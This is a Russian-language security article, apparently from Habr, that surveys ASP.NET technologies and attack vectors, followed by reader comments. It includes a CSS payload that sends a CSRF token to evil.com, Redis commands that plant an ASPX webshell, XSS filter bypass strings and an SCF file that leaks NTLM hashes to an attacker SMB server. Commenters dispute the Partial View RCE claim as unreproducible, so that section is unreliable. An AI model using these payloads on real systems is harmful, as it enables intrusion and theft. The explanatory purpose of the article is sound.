Как говорят специалисты по информационной безопасности «Ломают всё, всех и всегда». При этом, атаки на ASP.NET — вещь достаточно редкая. Поэтому всегда крайне любопытно узнавать про это что-то новое. Под катом рассказ специалиста отдела информационной безопасности Rambler Group Алексея Морозова о сильных и слабых сторонах данной технологии.
Введение
Сегодня ASP заслужило свою популярность как средство для создания средних и крупных проектов. И, как любое популярное решение, ASP.NET тоже представляет интерес для внешних исследователей безопасности, хакеров и тестировщиков.
В данной статье рассматриваются возможные проблемы безопасности ASP.NET в различных версиях. Однако, следует отметить, что ASP сильно уступает по количеству решений тому же PHP, и это обусловлено многими факторами.
В отличии от PHP использование ASP, как правило, значительно сложнее и затратнее (использование коммерческой версии IIS, среды разработки Visual Studio). До недавнего времени (появления ASP.NET Core), использование было возможно только под Windows и на веб-сервере IIS. Также сложнее процедура развертывания.
ASP (Active Server Pages) – это технология компании Майкрософт для создания динамических страниц.
Описание: данная технология дает возможность создавать HTML-страницы со вставками на языке Jscript (очень похож на JavaScript, но помимо клиентских скриптов имеет ряд возможностей по работе с операционной системой Windows и серверными вставками на ASP)
Пример:
<% @ Language = "JScript" %><%
Response.Write("Hello World!");
%>
ASP.NET
Следующим витком развития технологии стало создание ядра ASP на базе фреймворка .Net. В следствие чего ASP получил все возможности данного решения, а именно:
- использование разных языков программирования (C#, Visual Basic.NET, J# и JScript .NET);
- возросшая скорость по сравнению со скриптовыми технологиями, так как при первом обращении код компилируется и помещается в специальный кэш, и впоследствии только исполняется, не требуя затрат времени на парсинг, оптимизацию;
- компилируемый код, позволяющий более качественно отлавливать ошибки, так сам процесс отладки становится эффективнее;
- появление возможности кэширования страницы;
- разделение представления от бизнес-логики.
На базе решения ASP.NET были созданы последующие технологии, которые мы рассмотрим.
ASP.NET Ajax – одно из расширений ASP.NET, позволяющее использовать Ajax для асинхронного обновления части контента.
Пример:
<asp:Button ID="Button1" runat="server" Text="Refresh" />
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<Triggers>
<asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" />
</Triggers>
<ContentTemplate>
<span><%= DateTime.Now %></span>
</ContentTemplate>
</asp:UpdatePanel>
ASP.NET Web Forms – новая эволюция технологии ASP, при которой происходит переход на компоненто–ориентированную модель построения приложений.
Описание:
Модель Web Forms базируется на трех основных концепциях: обратной передаче страниц, состоянии просмотра и серверных элементах управления. Каждый запрос HTTP, передаваемый веб-серверу и сопоставляемый со средой выполнения ASP.NET, проходит несколько стадий, в которых центральное место занимает обработка события обратной передачи (postback). Событие обратной передачи — главное действие, которое ожидает получить пользователь в результате обработки своего запроса. (например, клик по кнопке).
Проще говоря, появляются традиционные элементы управления (контролы) и событийная модель разработки.
Пример:
Представление (файл aspx) – клиентская сторона.
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs"
Inherits="SamplePage" AutoEventWireup="true" %>
<html>
<head runat="server" >
<title>Code-Behind Page Model</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Label id="Label1"
runat="server" Text="Label" >
</asp:Label>
<br />
<asp:Button id="Button1"
runat="server"
onclick="Button1_Click"
Text="Button" >
</asp:Button>
</div>
</form>
</body>
</html>
Обработка логики (файл cs (если используется C#)) — серверная сторона.
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class SamplePage : System.Web.UI.Page
{
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = "Clicked at " + DateTime.Now.ToString();
}
}
ASP.NET Web API – ещё одно расширение, позволяющее создавать сервисы API для более удобной разработки и взаимодействия с приложением.
Пример:
[HttpDelete("{id}")]
public IActionResult Delete(long id)
{
var todo = _context.TodoItems.Find(id);
if (todo == null)
{
return NotFound();
}
_context.TodoItems.Remove(todo);
_context.SaveChanges();
return NoContent();
}
ASP.NET MVC – следующий этап в развитии технологии происходит после появления разделения бизнес логики на три составляющие паттерна MVC (Model-View-Controller). Так же внедряется движок razor и появляется возможность самостоятельно кастомизировать управляемые элементы сайта, что было сильно затруднено при Web Forms.
Преимущества:
- облегчается управление сложными структурами путем разделения приложения на модель, представление и контроллер;
- не используется состояние просмотра и серверные формы. Это делает платформу MVC идеальной для разработчиков, которым необходим полный контроль над поведением приложения;
- схема основного контроллера, при которой запросы веб-приложения обрабатываются через один контроллер. Это позволяет создавать приложения, поддерживающие расширенную инфраструктуру маршрутизации;
- хорошо подходит для веб-приложений, поддерживаемых крупными коллективами разработчиков.
Пример:
Представление (View)
@{
Layout = null;
}
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width" />
<title>SomeView</title>
</head>
<body>
<div>
<h2>@ViewBag.Message</h2>
</div>
</body>
</html>
Модель (Model)
using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace MvcModels.Models
{
public partial class User
{
public int UserId { get; set; }
[DisplayName("Имя")]
public string FirstName { get; set; }
[DisplayName("Фамилия")]
public string LastName { get; set; }
[DisplayName("Дата рождения")]
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
}
}
Контроллер (controller)
using System.Web.Mvc;
namespace NonCompiledMvc.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
return View((object)"It Works!");
}
}
}
ASP.NET Core – следующий рывок развития ASP.NET становится кроссплатформенным, с поддержкой C# 7.0.
| Технология | Сильные стороны | Слабые стороны |
|---|---|---|
| Active Server Pages, ASP | Общая цель | Интерпретируется во время выполнения, поддерживает «спагетти код» |
| ASP.NET Web Forms 1.0/1.1 | Скомпилированный, UI, поддерживает ООП | Тяжелый по пропускной способности, сложный HTML, нетестируемый |
| ASP.NET Web Forms 2.0 | - | - |
| ASP.NET Ajax | Внедрение Ajax | Появление неоправданной сложности, отсутствие гибкости |
| ASP.NET Web Forms 3.5-4.0 | - | - |
| ASP.NET MVC 1.0-5.0 | Полностью меняется модель разработки. Появляется гибкость | Отсутствие кроссплатформенности. Невозможно компилировать на лету |
| ASP.NET Core | Появляется кроссплатформенность. Открытые исходники | - |
Аутентификация в ASP.NET
Есть три вида аутентификации в ASP.NET MVC, которые значительно отличаются друг от друга.
- No Authentication: ASP.NET Identity и встроенная система аутентификации отсутствует;
- Individual User Accounts: проект по умолчанию включает систему ASP.NET Identity, которая позволяет авторизовать пользователей как внутри приложения, так и с помощью таких внешних сервисов, как google, twitter и т.д.
- Organizational Accounts: подходит для сайтов и веб-приложений отдельных компаний и организаций;
- Windows Authentication: система аутентификации для сетей intranet с помощью учетных записей Windows.
ASP.NET с точки зрения взлома
Как и любая технология ASP.NET подвергался взлому. Ниже будут описаны наиболее популярные исследования безопасности, в том числе не только в самом ASP, но и в совокупности с инфраструктурой.
Статистика CVE
Как видно из таблицы статистика по находкам очень немногочисленна. Это связано с тем, что ASP.NET требует хороших знаний, чтобы исследовать его детально. А также ресурсов на нем значительно меньше, чем на том же PHP.
Использование null-байта для bypass’а авторизации
CVE: CVE-2011-3416
Описание: имеется возможность обойти авторизацию.
Алгоритм:
- Регистрируется новый аккаунт с уже существующим логином;
- При регистрации добавляем null-byte и дополнительные символы (admin%0012sd);
- Таким образом проверка на уникальность будет пройдена. Создастся новый пользователь “admin” с той же ролью, но с новым паролем.
Пример уязвимого кода:
If (IsPostBack)
{
String name = Request.Form[“name”];
String password = Request.Form[“password”];
If (name != null && password != null
&& FormsAuthentication.Authenticate(name, password))
{
FormsAuthentication.SetAuthCookie(name, false);
Response.Redirect(Request[“ReturnUrl”] ?? “/”);
}
Else
{
ModelState.AddModeError(“fail”, “Логинь или пароль неправильны.” +
“Пожалуйста введите данные заново”);
}
}
Proof-of-Concept:
Решение: данная ошибка была устранена в .Net 3.5
Удаленная отладка
Описание: поскольку ASP.NET – это компилируемое приложение, у него есть определенные особенности отладки. Компания Microsoft позволяет использовать удаленный отладчик для работы над debug-версией приложения.
Если данный порт открыт в Интернете и защищен простым паролем или пароль отсутствует вовсе, то имеется возможность подцепиться отладчиком. Далее это позволит влиять на приложение в режиме DEBUG. В том числе вытаскивать пароли, изменять логику, проводить трассировку и др.
Proof-of-Concept:
Решение: использовать надежный пароль и не выставлять наружу сервис для отладки.
SMTP Header Injection
Описание: необходимо вспомнить немного спецификацию SMTP протокола.
Пример того, как выглядит обычный SMTP-пакет простого письма:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST)
Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST)
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
X-Mailer: Loris v2.32
и Lunch today?
Очевидно, что при отсутствии валидации значения, попадающего в заголовок “To”, имеется возможность перенаправить письмо другому адресату. Но это было бы слишком просто и очевидно, поэтому валидация происходит уже на уровне .Net.
Однако, если внедрить новый заголовок Reply-To – адрес для ответов, то многие формы такие как «Забытый пароль», часто берут адрес отправки именно из него, тем самым, достаточно внедрить символы возврата каретки и перевода строки и получить рабочую нагрузку.
...
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
...
В итоге будет внедрен новый заголовок:
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com
Reply-To: hack@hack.ru
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
Пример уязвимого кода:
MailAddress from = new MailAddress(“******@mail.ru", “test");
MailAddress to = new MailAddress(email);
MailMessage m = new MailMessage(from, to);
m.Subject = "Тест";
m.Body = "Письмо-тест";
m.Headers.Add(“To", email);
m.IsBodyHtml = true;
SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587);
smtp.Credentials = new NetworkCredential(“******@mail.ru", “******");
smtp.EnableSsl = true;
smtp.Send(m);
Proof-of-Concept:
Решение: не писать замысловатый код, использовать свежий .Net
RCE в Partial View
Описание: в терминологии ASP.NET MVC есть два важных понятия:
View – это представление, то что видит пользователь. Как уже отмечалось, благодаря razor или web forms движкам, имеется возможность внедрять серверный код.
Partial View – частичное представление. Это часть содержимого View, вынесенного в отдельный файл для удобства.
Необходимо наличие некоторого поля в Partial View, которое рендерится в html, и в которое имеется возможность занести опасную нагрузку.
Пример нагрузки: получение пароля текущего пользователя
@((Account.Models.User)Session[“User”].PasswordВ результате попадания во View, этот код будет выполнен. Так как директивы будут распознаны как движок razor. На рисунке ниже видно, как это происходит.
Алгоритм:
- Пользователь делает запрос в контроллер;
- Контроллер отрисовывает View;
- Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления;
- Готовый Partial View возвращается в основной, а основной – пользователю.
Proof-of-Concept:
Упрощенный пример:
@{ Html.RenderPartial("Code", html); }
Controller -
public ActionResult Index(string html = "")
{
ViewBag.Html = html;
return View();
}
Partial view – Частичное представление
@model string
@{
Layout = null;
}
@Model
Index view – Главное представление
@{
string html = ViewBag.Html.ToString();
}
@{ Html.RenderPartial("Code", html); }
Proof-of-Concept:
P.S. Попытка воспроизвести не увенчается успехом.
CSRF & CSS Injection
Данные уязвимости подразумевают под собой взаимодействие с пользователем.
CSRF (Сross Site Request Forgery) – межсайтовая подделка запроса.
Алгоритм:
- Пользователь приходит на сайт хакера;
- Заполняет поля формы;
- Данные с формы отправляются на другой сайт от имени пользователя и с его ролью;
- Таким образом, пользователь, сам о том не догадываясь, выполнил какие-то действия на другом ресурсе.
Для защиты от данного типа атак были придуманы CSRF-токены, как правило, это строка, содержащая последовательность символов.
Была найдена уязвимость, позволяющая обходить защиту от CSRF. Необходимо было просто в качестве токена использовать строку много меньше исходной.
Обычный токен
<input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />Уязвимый токен
<input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />Нагрузка для кражи токена через CSS (не XSS):
В случае, когда не помогает усечение токена, можно прибегнуть к атаке CSS-Injection, которая позволяет украсть токен со страницы и отрисовать его на своем ресурсе. Благодаря этому пользователю отдается настоящий токен, и от его имени совершается необходимый запрос на сайте.
Пример нагрузки:
%0A{}*{color:red;} - Test
<div id ="s"> secret <style type ="text/css">
div #s:: -webkit-scrollbar-track-piece:vertical:increment {
background: red url(//evil.com?s);
}
* {-o-link:'javascript:alert(1)';-o-link-source: current;}
XXE в DocX
Описание: ASP.NET так же как и другие технологии использует многие сторонние решения. В одном из таких решений, интегрируемых в ASP.NET была найдена уязвимость XXE (XML External Entities), которая заключается в ошибке парсера xml и возможности подключать внешние сущности, которые могут содержать критичные данные. Подробнее об XXE можно почитать на страницах OWASP.
В данном случае компонент отвечает за загрузку и парсинг docx (Microsoft World) файлов. Так как любой документ Office – это на самом деле набор xml файлов, то при парсинге может быть проведена атака ХХЕ.
Алгоритм:
- Распаковывается офисный документ;
- Внедряется нагрузка;
- Запаковывается обратно как docx;
- Заливается на сервер для обработки, где используется уязвимый компонент.
Proof-of-Concept:
RCE через Redis
Описание: помимо уязвимых компонентов, взлом ASP.NET можно комбинировать и с уязвимыми технологиями. Например, в системе хранения данных в оперативной памяти Redis известна давняя уязвимость, позволяющая выполнять произвольный код на стороне сервера. Далее будет рассмотрена данная атака применительно к ASP.
Алгоритм:
- Подключение к Redis. Важно, чтобы он работал на том же сервере, что и веб-сервер;
- Выполняя следующий листинг и используя веб-сервер для просмотра полученной страницы будет выполнен произвольный код. В данном случае вызов калькулятора:
config set dir DIRNAME
config set dbfilename asd.aspx
flushall
set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>'
save
Proof-of-Concept:
XSS фильтр ByPass
Внутри ASP.NET предусмотрен свой механизм фильтрации данных от атак класса XSS. При попытке передать запрещенные символы или сигнатуру, срабатывает следующая защита:
Однако существует множество способов обойти эту защиту. Вот некоторые из них:
- %EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
- <-/script>alert(1);
- </XSS/*-*/STYLE=xss:e/**/xpression (alert('XSS'))>
- %uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e
В последних версиях данные способы уже не работают, однако как уже упоминалось, ASP.NET технология создана преимущественно для крупных и долгих проектов, поэтому еще много ресурсов могут быть подвержены данной уязвимости.
Shell Command File
Описание: не так давно прогремела уязвимость, связанная с браузером Google Chrome, суть которой заключается в хищении NTLM-хэша пользователя.
Алгоритм:
1) Подготавливается файл с расширением scf и следующим содержимым
[Shell]
IconFile=\\***.**.*.***\icon
где вместо звездочек ip – адрес сервера smb злоумышленника;
2) При попадании на компьютер пользователя этот файл даже не требует открытия. Достаточно, чтобы пользователь просто зашёл в ту же папку, где лежит этот файл. Как только это произойдет, на SMB-сервер отправится пакет с хэшем;
3) Таким образом взлом инфраструктуры можно так же комбинировать и с простыми уязвимостями такими как Open Redirect.
Proof-of-Concept:
Спасибо за внимание! Делитесь своим опытом и оставляйте вопросы Алексею Морозову (aka SoolFaa) в комментариях к данной статье.
Комментарии (31)
kekekeks
13.06.2018 11:40+4ASP.NET Web Forms – новая эволюция технологии ASP, при которой происходит переход на компоненто–ориентированную модель построения приложений.
новая
2002-ой год
Заканчивающаяся 2010-ым годом статистика CVE тоже как-то не блещет актуальностью
SooLFaa
13.06.2018 12:07+1Спасибо за уточнение. Здесь логический я имел ввиду новое по сравнению с предыдущим.
trashley
13.06.2018 12:18+2тоже не поняла, зачем автор так глубоко закопался в прошлое. выходит, статья частично неактуальна и частично нерелевантна. заходя в статью про варианты хаков технологии, как-то не ожидаешь увидеть историческую сводку по развитию от царя гороха.
SooLFaa
13.06.2018 12:22+2В целом Вы Правы. Но ASP это не PHP. Многие вещи, написанные на нем живут годы, а некоторые и десятилетия. Например в моей карьере разработчика я часто встречался с ASP.NET WebForms, когда во всю уже был MVC, а сейчас активно занимает позиции Core. Но и Web Forms живет до сих пор.
mayorovp
13.06.2018 11:41Про Partial View написано что-то совсем непонятное. Каким образом хакер собрался добавлять туда уязвимый код, и почему считается что это сделать проще чем добавить код в основной View? Если что, эти файлы лежат в соседних папочках.
И да, приведенный пример —
@Model— это ничуть не RCE, потому что содержимое Model просто выводится в выходной поток, а не исполняется. Более того, так даже XSS не получить, потому что строки при выводе всегда экранируются...kekekeks
13.06.2018 11:48+1Конечно, невнятное, вьюхи берутся только из мест, возвращённых view locator-ом, а не компиляются из произвольных откуда-то взявшихся строк. Потому и " P.S. Попытка воспроизвести не увенчается успехом. ".
SooLFaa
13.06.2018 12:07+1Начну с обратного… Разумеется вывод @Model — это опять же просто игровой сценарий, но нельзя вывести содержимое свойства любого объекта просто на клиентской стороне. Так или иначе должен быть Server-Side. Поэтому, вместо этой нагрузки, можно было бы и тот же калькулятор запускать.
По поводу PartialView и View. В этом вся и проблема. Если бы нагрузку можно было бы прокинуть в PartialView так же легко (причем не забывать, что ещё и пре-процессинг включиться, который надо обойти) — это уже было бы CVE с High уровнем. А так, этот вектор так же из реальной жизни взят, но упрощён для понимания, что не только эксплоитами возможно выполнить удаленный код. Спасибо за вопрос.mayorovp
13.06.2018 12:12Я вас не понимаю.
Что именно вы называете нагрузкой?
Куда ее легче прокинуть — во View или PartialView? И почему?
Какой именно пре-процессинг мешает выполнению нагрузки?
Почему RCE имеет уровень отличный от High?SooLFaa
13.06.2018 12:20Нагрузка (Payload) — Это тот сценарий (код), который мы хотим выполнить в контексте RCE.
2) Рассмотрим пример. Мы кладём модель во вьюху (ViewModel), полученную от контроллера, далее мы выполняем какие то действия и у нас отрисовывается PartialView, вероятность того, что туда уйдет компилируемый user-input очень мала. Поэтому во View — это просто не будет работать. А через Partial-View должен пройти input.
3) Здесь имеется ввиду штатные механизмы ASP, не дадут пробросить какую Вам захочется нагрузку. И будет ругаться фильтр.
4) Не все RCE обязательно уровнем High. Если мы вспомним CVSS 3. Там есть параметр «Сложность атаки (AC)», что заметно уменьшает оценку уязвимости.
5) И ещё от себя — это не гайд и не мануал, как взломать АСП, это описание некоторых проблем, которые могут возникнуть. Поэтому в статье нет и не предполагается точных алгоритмов развития атаки. Спасибо.mayorovp
13.06.2018 12:37Откуда берется нагрузка? Она приходит с пользовательским вводом или уже лежит в cshtml-файле?
Если приходит с пользовательским вводом, то как она может выполниться? Насколько я знаю, у Razor нет никакого аналога eval.
Если второе — то откуда она там взялась?SooLFaa
13.06.2018 12:42Нагрузка передается от View -> в PartialView. Во View как и обычно.
А вот почему так происходит, это уже поле для исследований. Нагрузка попадает не в razor, а в Server-Side и вариантов может быть масса. Надеюсь, теперь вам стало понятно. Спасибо.mayorovp
13.06.2018 12:46Нет, мне ничего не ясно. Что такое Server-Side и почему Razor ему противопоставляется?
Каким образом Razor исполняет нагрузку? Насколько я знаю, из коробки у него нет никаких аналогов eval.
PashaPash
13.06.2018 16:28Про вывод @Model — в статье какой-то бред. Какой калькулятор, какая нагрузка? Это просто вывод строки, только зачем-то очень косвенный.
То же самое, что написать @ViewBag.Html в основной вьюшке. Пример из статьи просто выводит строку
@((Account.Models.User)Session[“User”].Password
в html. Как строку, не выполняя ее как код.
Возможность получить от пользователя строку и вывести ее на экран — это уязвимость? :)
Что происходит на видео, и почему там выводит admin — загадка. Было бы неплохо увидеть реальную демострацию уязвимости, а не видео + скромное "Попытка воспроизвести не увенчается успехом".
Может быть там просто во вьюшке admin написано. Или даже @((Account.Models.User)Session[“User”].Password. А разработчик после замены на @Model забыл Save нажать.
SooLFaa
13.06.2018 16:36Очень странный комментарий. Какая разница что сделать на серверной стороне? Вывести содержимое модели или вывести содержимое ViewBag? Я могу вывести @((2 + 2).ToString()).
PashaPash
13.06.2018 18:04+2В каком смысле «какая разница что сделать на серверной стороне?».
Если на серверной строне написать код для вывода содержимого — будет выведено содержимое модели, как строка. Если на серверной строне написать код для вывода свойства из View Bag — будет выведено значение свойства из View Bag.
Вы можете вывести результат выполнения @((2 + 2).ToString()) если вы — разработчик и вы прямо вписали этот код в страницу Razor, а не спустили в виде модели. Тогда этот код выполнится и отрендерит на страницу строку «4». И это не уязвимость.
В примере из поста — вы, как атакующий передаете на сервер строку "@((2 + 2).ToString())" и получаете в выходном html строку "@((2 + 2).ToString())". Что строка "@((2 + 2).ToString())", что «qqq» — без разницы, она выводится как статический контент, а не выполняется как код. И это тоже не уязвимость.
При этом на видео, якобы, возникает ситуация, когда атакующий передает на сервер строку "@((2 + 2).ToString())", и получает на странице результат выполнения ее как кода на C#, «4». И это было бы уязвимостью, если бы такая ситуация реально возникала. Но она не возникает. Ни при прямом выводе @model, ни при косвенном, через PartialView.
По сути, уязвимость на видео — или фейк, или ошибка того, кто видео записал — несохраненный файл, например. Я могу точно такое же видео записать, просто забыв нажать Ctrl+S один раз :) Но это не означает, что уязвимость есть.
Вы автор видео из статьи? Вы можете привести минимальный пример для воспроизведения уязвимости? Если вы не можете привести пример, и не можете даже теоретически обосновать механизм — указать, в каком именно месте и на каком шаге строка будет выполнена как код — то как вы можете утверждать, что уязвимость вообще имеет место?SooLFaa
13.06.2018 18:14-1Теперь я понял. В чем Ваша претензия. Это не проблема Майкрософта. Этот кейс — взят из жизни из реального проекта. Данные из VIEW попадали в контроллер(а точнее в Action), который собирал Partial View и возвращал назад, это хорошо видно из картинки. Обратите внимание на алгоритм:
Алгоритм:
Пользователь делает запрос в контроллер;
Контроллер отрисовывает View;
Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления;
Готовый Partial View возвращается в основной, а основной – пользователю.
Не воспринимайте эту статью как мануал по зеродеям в ASP. Любой из предложенных пунктов можно обыграть, что ничего работать не будет или будет. Я говорю о том, можно ли хакнуть ASP, а не как это сделать. И основная мысль, это, что системы ломаются всегда, но намного чаще, их можно сломать через ошибки в человеческой логике.
И обратите внимание на название статьи «Можно ли «хакнуть» ASP инфраструктуру?» а не Можно ли «хакнуть» ASP.NET?SooLFaa
13.06.2018 18:25А по самому кейсу. Разметку Razor ренедрили специально и отдавали во вьюху. Делали это чуваки для кастомизации стилей, но получился такой кейс.
PashaPash
13.06.2018 18:40+1А, ну это многое объясняет. Если написать на сервере код, который выполняет user input как код на C# — то, внезапно, user input можно будет выполнить как код на C#. Так и стоило бы написать прямо в статье, а упоминания Partial — выбросить как не имеющие отношения к уязвимости.
PashaPash
13.06.2018 18:38+1Я и не воспринимают эту статью как мануал по зеродеям. Пока я воспринимаю этот кусок статьи как "разработчику показалось".
Вот что реально происходит:
- Пользователь делает запрос в контроллер, отдает строку "@..."
- Контроллер отрисовывает View, спускает ему строку "@..."
- Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления. В качестве параметра контроллеру отдается строка "@..."
- Partial View отрисовывает строку "@..."
- Готовый Partial View возвращается в основной. Основной отрисовывает результат рендера Partial — строку "@...".
- Пользователь видит на экране строку "@...".
При этом в видео видно, что пользователь получает на экране не строку "@...", а "admin". В какой момент, по вашему мнению, строка вида "@..." выполняется и превращается в "admin"?
Я же не предлагаю обсудить "обыгрывание пунктов" или "ошибки в человеческой логике". Вы(?) в статье заявили, что имеет место вот такой-то эффект. Я утверждаю, что такого эффекта нет, код не выполняется, и узявимости (не узявимости в asp.net, а узявимости в конкретном приведенном вами коде) нет.
Ответ, которого я бы ожидал для подтверждения существования уязвимости (в примере из статьи, не в asp.net) — это код, который можно было бы скопировать и запустить. Который делал бы то, что видно на видео — хоть как-то выполнял переданный пользователем код. А не мутного "невоспроизводимого" видео видео без исходников. У вас есть такой пример? Или только домыслы?
yarosroman
14.06.2018 02:05Так причем тут ASP.Net? Эта уязвимость из разряда «сам себе яму выкапал», а уже чем, лопатой или экскаватором неважно.
SooLFaa
14.06.2018 10:59-1А причем тут ASP.NET?! Я не говорил о том, как взломать ASP.NET, я говорил о том, какие могут быть (и были) проблемы с использованием ASP.NET. Основная мысль, развеять миф, что если снаружи выглядит достаточно секьюрно и безопасно, всегда найдется слабое место. И если рассматривать статью с этой позиции, то все становится ясно и понятно. Я не собирался писать мануалы по взлому, с которыми можно идти в интернет и крушить проекты. С конкретными ресёрчами я бы пришел не на хабру а hackerone. Поэтому я не вижу претензий публики на тему: «А если сделать идеально, то уязвимости — нет» — разумеется это так. Это не security мануал по безопасной разработке, это выборка интересных, на мой взгляд, кейсов, встречающихся на практике и упрощенных для понимания, которые до бесконечности можно обыгрывать. Я согласен, что и XXE и SMTP Header Injection и т.д., это целые вектора уязвимостей разных технологий, а не только ASP. В том числе по OWASP'у.
kekekeks
13.06.2018 11:45+3m.Headers.Add(“To", email);
Где вы вообще такое задание адресата видели? у
MailMessageесть специальное полеTo, которым все и пользуются. Собственно, вы УЖЕ выше передали нормальный адрес в конструкторе, а теперь зачем-то руками лезете в заголовки.SooLFaa
13.06.2018 12:00+1Разумеется, Вы правы. Это сценарий притянутый «за уши» — как можно манипулировать SMTP заголовками в контексте приложения — это не проблема Майкрософта или бага в продукте ASP — это ошибка разработчиков и логики (кейс взят из реальной жизни).
mayorovp
13.06.2018 11:46Что же до "XSS фильтр ByPass" — то Razor сам по себе является куда более сильной защитой от XSS чем любые фильтры основанные на поиске подозрительных общих подстрок запроса и ответа...
yu5k3
13.06.2018 18:40+3Простите за прямоту, но большей дичи про .NET Security я еще не читал, начиная от школолольной терминологии («хакнуть ASP инфраструктуру», «с точки зрения взлома», я вообще думал безопасники в Рамблере оперируют понятиями модели угроз), упоминания Active Server Pages (это как в статье про JavaScript рассказывать про Java), простигосподи сравнение с PHP тут каким-то боком вылезло, какой-то безнадежно устаревшей и неполной(!) статистики CVE в платформе. И с этого мы резко перескакиваем к SMTP Header Injection, CSS Injection, XXE в docx, Redis, SMB Hijacking, которые к .NET имеют ровно столько же отношения, что и к другой платформе.
Еще есть путаница в понятиях «устаревшие технологии» и «уязвимые технологии». Все найденные уязвимости в .NET платформе исправляются сразу во всех фреймворках и если вы используете ASP .NET WebForms к вам это исправление прилетит с обновлениями Windows (автоматически, главное не отключить вручную). Т.е. использовать WebForms ничем не хуже ASP .NET Core c точки зрения безопасности платформы. Исключение составляют конфигурации по умолчанию, они часто исправляются в новых версиях фреймворка, чтобы поддерживать обратную совместимость (пример, XML парсеры уязвимые к XXE в дефолтных конфигурациях до FW 4.5).
Если вам интересна тема именно .NET Security, то я бы порекомендовал потратить время на чтение “Application Security in .NET Succinctly ” by Stan Drapkin и просмотр докладов по безопасности с DotNext и PDUG (VladimirKochetkov делал много хороших и там и там).mayorovp
13.06.2018 19:12+2Небольшая поправка: все-таки у WebForms есть «родовая» уязвимость которой нет в WebPages (Razor) — отсутствие экранирования у Literal по умолчанию.
yu5k3
13.06.2018 19:44Да, и если правильно помню Label, Checkbox, RadioButton и подобное тоже не санитизируют отображаемые значения. Об этом приходится помнить, но формально это не уязвимость, а особенность реализации:) Исправление этого может сломать существующие проекты после автообновления, поэтому это поведение не меняют, так же как и дефолтные значения/дефолтное поведение других классов.
Taritsyn
14.06.2018 13:13Описание: данная технология дает возможность создавать HTML-страницы со вставками на языке Jscript (очень похож на JavaScript, но помимо клиентских скриптов имеет ряд возможностей по работе с операционной системой Windows и серверными вставками на ASP)
Вы забыли упомянуть VBScript, который является в классическом ASP языком по умолчанию. По собственному опыту могу сказать, что большинство проектов на классическом ASP используют VBScript (за всю свою карьеру я работал лишь в одной компании, где использовался JScript).
Также стоит отметить, что в классическом ASP можно использовать и другие скриптовые языки (например, PerlScript), если установить соответствующие интерпретаторы.
mayorovp
Достаточно не отлаживать ничего на проде. Напомню, что удаленный отладчик — это часть Visual Studio, и по умолчанию на серверах его нет!